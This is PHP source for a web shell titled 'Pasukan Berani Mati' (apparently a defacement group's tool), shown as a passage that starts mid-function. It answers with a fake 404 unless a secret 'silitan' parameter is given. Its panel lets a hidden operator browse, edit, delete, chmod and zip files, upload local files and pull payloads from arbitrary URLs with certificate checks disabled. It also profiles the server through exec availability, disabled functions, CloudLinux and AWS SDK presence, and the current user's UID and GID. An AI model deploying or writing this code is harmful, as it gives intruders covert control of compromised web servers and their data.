true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_CONNECTTIMEOUT => $timeout, CURLOPT_TIMEOUT => $timeout, CURLOPT_HEADER => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' ]); $data = curl_exec($ch); curl_close($ch); if ($data !== false && $data !== '') { return $data; } } if (ini_get('allow_url_fopen')) { $context = stream_context_create([ 'http' => [ 'method' => 'GET', 'timeout' => $timeout, 'header' => "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n" ] ]); $data = @file_get_contents($url, false, $context); if ($data !== false && $data !== '') { return $data; } } if (ini_get('allow_url_fopen')) { $fp = @fopen($url, 'r'); if ($fp) { stream_set_timeout($fp, $timeout); $data = stream_get_contents($fp); fclose($fp); if ($data !== false && $data !== '') { return $data; } } } $u = parse_url($url); if (!isset($u['host'])) { return false; } $scheme = $u['scheme'] ?? 'http'; $host = $u['host']; $path = ($u['path'] ?? '/') . (isset($u['query']) ? '?' . $u['query'] : ''); $port = ($scheme === 'https') ? 443 : 80; $fp = @fsockopen( ($scheme === 'https' ? 'ssl://' : '') . $host, $port, $errno, $errstr, $timeout ); if (!$fp) { return false; } stream_set_timeout($fp, $timeout); $out = "GET $path HTTP/1.1\r\n"; $out .= "Host: $host\r\n"; $out .= "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\r\n"; $out .= "Connection: Close\r\n\r\n"; fwrite($fp, $out); $response = ''; while (!feof($fp)) { $response .= fgets($fp, 1024); } fclose($fp); $parts = explode("\r\n\r\n", $response, 2); return $parts[1] ?? false; } function download_from_url($url, $filename = '') { $data = http_get($url); if ($data === false) { return "❌ Gagal mengunduh dari URL"; } if (empty($filename)) { $path = parse_url($url, PHP_URL_PATH); $filename = basename($path); if (empty($filename)) { $filename = 'downloaded_' . time() . '.txt'; } } if (@file_put_contents($filename, $data)) { $size = strlen($data); return "✅ Berhasil mengunduh: $filename ($size bytes)"; } else { return "❌ Gagal menyimpan file: $filename"; } } function check_functions() { $checks = []; $important_funcs = [ 'system', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open', 'curl_init', 'curl_exec', 'file_get_contents', 'fopen', 'fsockopen', 'move_uploaded_file', 'copy', 'rename', 'unlink', 'ini_set', 'set_time_limit', 'error_reporting' ]; foreach ($important_funcs as $func) { $checks[$func] = function_exists($func) ? '✅' : '❌'; } return $checks; } // FILE MANAGER FUNCTIONS function formatSize($bytes) { if ($bytes == 0) return "0 B"; $units = array('B', 'KB', 'MB', 'GB', 'TB'); $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= pow(1024, $pow); return round($bytes, 2) . ' ' . $units[$pow]; } function rmdir_recursive($dir) { if (!file_exists($dir)) return true; $files = array_diff(scandir($dir), array('.','..')); foreach ($files as $file) { $path = $dir . '/' . $file; is_dir($path) ? rmdir_recursive($path) : unlink($path); } return rmdir($dir); } function addFolderToZip($zip, $folder, $base = '') { $files = array_diff(scandir($folder), array('.','..')); foreach ($files as $file) { $path = $folder . '/' . $file; $local = ($base ? $base . '/' : '') . $file; if (is_dir($path)) { $zip->addEmptyDir($local); addFolderToZip($zip, $path, $local); } else { $zip->addFile($path, $local); } } } function fileManager() { $current_dir = isset($_GET['dir']) ? $_GET['dir'] : '.'; // Security: prevent directory traversal $current_dir = realpath($current_dir) ?: getcwd(); // Handle actions if (isset($_GET['action'])) { $action = $_GET['action']; $target = isset($_GET['target']) ? $_GET['target'] : ''; switch ($action) { case 'delete': if (file_exists($target)) { if (is_dir($target)) { rmdir_recursive($target); $message = "✅ Directory deleted successfully"; } else { unlink($target); $message = "✅ File deleted successfully"; } } break; case 'rename': if (isset($_POST['new_name']) && file_exists($target)) { $new_name = dirname($target) . '/' . $_POST['new_name']; if (rename($target, $new_name)) { $message = "✅ Renamed successfully"; } } break; case 'edit': if (isset($_POST['content']) && file_exists($target) && is_file($target)) { if (file_put_contents($target, $_POST['content'])) { $message = "✅ File saved successfully"; } } break; case 'chmod': if (isset($_POST['permission']) && file_exists($target)) { if (chmod($target, octdec($_POST['permission']))) { $message = "✅ Permissions changed successfully"; } } break; case 'create_file': if (isset($_POST['filename'])) { $filename = $current_dir . '/' . $_POST['filename']; if (file_put_contents($filename, isset($_POST['filecontent']) ? $_POST['filecontent'] : '')) { $message = "✅ File created successfully"; } } break; case 'create_dir': if (isset($_POST['dirname'])) { $dirname = $current_dir . '/' . $_POST['dirname']; if (mkdir($dirname, 0755, true)) { $message = "✅ Directory created successfully"; } } break; case 'archive': if (isset($_POST['files']) && class_exists('ZipArchive')) { $zip = new ZipArchive(); $archive_name = isset($_POST['archive_name']) && !empty($_POST['archive_name']) ? $current_dir . '/' . $_POST['archive_name'] : $current_dir . '/archive_' . date('Y-m-d_H-i-s') . '.zip'; if ($zip->open($archive_name, ZipArchive::CREATE) === TRUE) { foreach ($_POST['files'] as $file) { $file_path = $current_dir . '/' . $file; if (is_file($file_path)) { $zip->addFile($file_path, $file); } elseif (is_dir($file_path)) { addFolderToZip($zip, $file_path, $file); } } $zip->close(); $message = "✅ Archive created: " . basename($archive_name); } } break; case 'unarchive': if (isset($_POST['archive_file']) && class_exists('ZipArchive')) { $archive_path = $current_dir . '/' . $_POST['archive_file']; $extract_path = isset($_POST['extract_path']) && !empty($_POST['extract_path']) ? $current_dir . '/' . $_POST['extract_path'] : $current_dir; if (!file_exists($extract_path)) { mkdir($extract_path, 0755, true); } $zip = new ZipArchive(); if ($zip->open($archive_path) === TRUE) { $zip->extractTo($extract_path); $zip->close(); $message = "✅ Archive extracted successfully"; } } break; case 'download': if (file_exists($target) && is_file($target)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($target) . '"'); header('Content-Length: ' . filesize($target)); readfile($target); exit; } break; case 'view': if (file_exists($target) && is_file($target)) { $content = file_get_contents($target); header('Content-Type: text/plain'); echo $content; exit; } break; } } // Start output echo ' File Manager - Pasukan Berani Mati
'; // Show message if exists if (isset($message)) { echo ''; } echo '

File Manager

Current Directory: ' . htmlspecialchars($current_dir) . '

Back to Main Panel

'; echo '
'; // Navigation bar echo ''; // Action buttons echo '
'; // File list $items = @scandir($current_dir); if ($items === false) { echo '
Cannot read directory
'; } else { echo '
'; echo '
'; foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $full_path = $current_dir . '/' . $item; $is_dir = @is_dir($full_path); $size = $is_dir ? '-' : formatSize(@filesize($full_path)); $type = $is_dir ? 'Directory' : 'File'; $perms = @substr(sprintf('%o', fileperms($full_path)), -4); $modified = @date('Y-m-d H:i:s', filemtime($full_path)); echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; echo ''; } echo '
Name Size Type Permissions Modified Actions
'; if ($is_dir) { echo ''; echo '' . htmlspecialchars($item) . ''; } else { echo ''; echo htmlspecialchars($item); } echo '' . $size . '' . $type . '' . $perms . '' . $modified . ''; if (!$is_dir) { echo ' '; echo ' '; } echo ' '; echo ' '; echo ' '; echo '
'; echo ''; echo '
'; } echo '
'; // Close file-manager div // Modals echo ' '; } // MAIN ROUTING if(!isset($_GET['silitan'])) { header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found", true, 404); exit(); } // Check if filemanager is requested if (isset($_GET['filemanager'])) { fileManager(); exit(); } // Continue with original code if not filemanager echo ' Pasukan Berani Mati '; // Floating File Manager Button echo ' File Manager '; $homee = $_SERVER['DOCUMENT_ROOT']; $cgfs = explode("/",$homee); $build = '/'.$cgfs[1].'/'.$cgfs[2].'/.cagefs'; // Konfigurasi PHP $php_version = PHP_VERSION; $safe_mode = (@ini_get("safe_mode") == 'on') ? 'ON' : 'OFF'; $magic_quotes = (function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()) ? 'ON' : 'OFF'; $mysql = (function_exists('mysqli_connect')) ? 'ON' : 'OFF'; $mssql = (function_exists('mssql_connect')) ? 'ON' : 'OFF'; $pgsql = (function_exists('pg_connect')) ? 'ON' : 'OFF'; $oracle = (function_exists('oci_connect')) ? 'ON' : 'OFF'; $exec = (function_exists('exec')) ? 'ON' : 'OFF'; $open_basedir = (ini_get("open_basedir")) ? 'ON' : 'OFF'; $ini_restore = (function_exists('ini_restore')) ? 'ON' : 'OFF'; $symlink = (function_exists('symlink')) ? 'ON' : 'OFF'; $file_get_contents = (function_exists('file_get_contents')) ? 'ON' : 'OFF'; // Informasi server yang diperbaiki $sysinfo = php_uname(); $server_ip = $_SERVER['SERVER_ADDR'] ?? 'N/A'; $client_ip = ip(); $server_software = $_SERVER['SERVER_SOFTWARE'] ?? 'N/A'; $php_sapi = php_sapi_name(); $memory_limit = ini_get('memory_limit'); $upload_max_filesize = ini_get('upload_max_filesize'); $post_max_size = ini_get('post_max_size'); $max_execution_time = ini_get('max_execution_time'); echo '

Pasukan Berani Mati

CaFc_Br40ck - System Control Panel | IP: ' . $client_ip . '

System Information
System Info ' . $sysinfo . '
Directory ' . getcwd() . '
Curl Status ' . (function_exists('curl_version') ? ' Enabled' : ' Disabled') . '
Script File ' . basename(__FILE__) . '
CloudLinux ' . (is_dir($build) ? ' True' : ' False') . '
AWS SDK '; // Check AWS SDK if(strpos($homee, 'public') !== false) { $dirs = str_replace("public", "", $homee)."/vendor/aws"; $dirs2 = str_replace("public", "", $homee)."/vendor/aws-sdk-php"; if(is_dir($dirs) || is_dir($dirs2)) { echo ' True'; } else { echo ' False'; } } else { $dirs = $homee."/vendor/aws"; $dirs2 = $homee."/vendor/aws-sdk-php"; if(is_dir($dirs) || is_dir($dirs2)) { echo ' True'; } else { echo ' False'; } } echo '
Server IP ' . $server_ip . '
Server Software ' . $server_software . '
PHP Configuration Status
Setting Status Setting Status
PHP Version ' . $php_version . ' Safe Mode ' . $safe_mode . '
Magic Quotes ' . $magic_quotes . ' MySQL ' . $mysql . '
MSSQL ' . $mssql . ' PostgreSQL ' . $pgsql . '
Oracle ' . $oracle . ' Exec Function ' . $exec . '
Open Basedir ' . $open_basedir . ' Ini Restore ' . $ini_restore . '
Symlink ' . $symlink . ' File Get Contents ' . $file_get_contents . '
Memory Limit ' . $memory_limit . ' Upload Max Filesize ' . $upload_max_filesize . '
Max Execution Time ' . $max_execution_time . 's PHP SAPI ' . $php_sapi . '
Upload dari URL
'; if(isset($_POST['download_url']) && !empty($_POST['url'])) { $url = $_POST['url']; $filename = isset($_POST['custom_filename']) && !empty($_POST['custom_filename']) ? $_POST['custom_filename'] : ''; echo '
Hasil Download:
' . download_from_url($url, $filename) . '
'; } echo '
Upload File Lokal
'; if(isset($_POST['_zx']) && $_POST['_zx'] == "Upload") { if(isset($_FILES['file']) && $_FILES['file']['error'] == UPLOAD_ERR_OK) { $filename = $_FILES['file']['name']; $tmp_name = $_FILES['file']['tmp_name']; if(@move_uploaded_file($tmp_name, $filename)) { $size = filesize($filename); echo '
File Uploaded
'.$filename.' (' . $size . ' bytes)
'; } else { echo '
File Not Uploaded
'; } } else { echo '
Please select a file to upload
'; } } echo '
Create File
'; if (isset($_POST['buat_file'])) { $filename = trim($_POST['nama_file']); $content = $_POST['isi_file']; if ($filename != "") { if (pathinfo($filename, PATHINFO_EXTENSION) == "") { $filename .= ".txt"; } file_put_contents($filename, $content); echo '
File '.$filename.' berhasil dibuat
'; } } echo '
Informasi Tambahan
'; $disable_functions = @ini_get("disable_functions"); echo '

Disabled Functions:

'; $current_user = @get_current_user(); $uid = @getmyuid(); $gid = @getmygid(); $pid = @getmypid(); echo '

Current User:

' . $current_user . '

UID:

' . $uid . '

GID:

' . $gid . '

PID:

' . $pid . '
'; echo '
';